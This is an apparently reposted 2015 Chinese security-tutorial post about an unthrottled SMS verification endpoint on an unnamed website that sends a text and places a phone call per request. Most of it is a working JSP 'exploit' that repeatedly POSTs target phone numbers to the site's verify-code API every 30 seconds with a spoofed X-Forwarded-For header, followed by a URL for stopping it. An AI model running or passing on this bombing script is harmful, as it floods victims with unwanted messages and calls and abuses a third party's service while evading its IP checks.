网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

某XXX短信和电话轰炸 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] 某XXX短信验证码未做次数和安全校验漏洞,每请求一次便会自动发一封短信而且打一个电话。利用代码:%@ page language=java pageEncoding=UTF-8%%@ page isThreadSafe=false %%@ page import=...

某XXX短信验证码未做次数和安全校验漏洞,每请求一次便会自动发一封短信而且打一个电话。
利用代码:

<%@ page language="java" pageEncoding="UTF-8"%>
<%@ page isThreadSafe="false" %>
<%@ page import="java.io.OutputStreamWriter"%>
<%@ page import="java.net.URLConnection"%>
<%@ page import="java.net.URL"%>
<%@ page import="java.util.*"%>
<%!
    private static Timer t = new Timer();
    void test(){
        String[] str = "1321344xxx,134555455xxxx".split(",");//手机号,分开
        for(String s:str){
            try{
                URLConnection u = new URL("http://www.xxxx.com/phone/api.php").openConnection();
                u.setDoInput(true);
                u.setDoOutput(true);
                u.setConnectTimeout(3000);
                u.setReadTimeout(3000);
                u.setRequestProperty("x-forwarded-for", "12.34.12.34");
                OutputStreamWriter osw = new OutputStreamWriter(u.getOutputStream(), "UTF-8");
                osw.write("mobile="+s+"&act=get_verify_code&sourceid=11");
                osw.flush();
                osw.close();
                u.getOutputStream();
                u.getInputStream();
            }catch(Exception e){
            }
        }
    }
     
    void startX(){
        t.schedule(new java.util.TimerTask() {
            public void run() {
                test();
            }
        }, 0, 30000);
    }
%>
<%
    try{
        if("cancel".equals(request.getParameter("action"))){
            t.cancel();
            out.println("stop....");
        }else{
            t = new Timer();
            startX();
        }
    }catch(Exception e){
        out.println(e.toString());
    }
%>



如果想停止发送:http://www.p2j.cn/sm.jsp?action=cancel
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论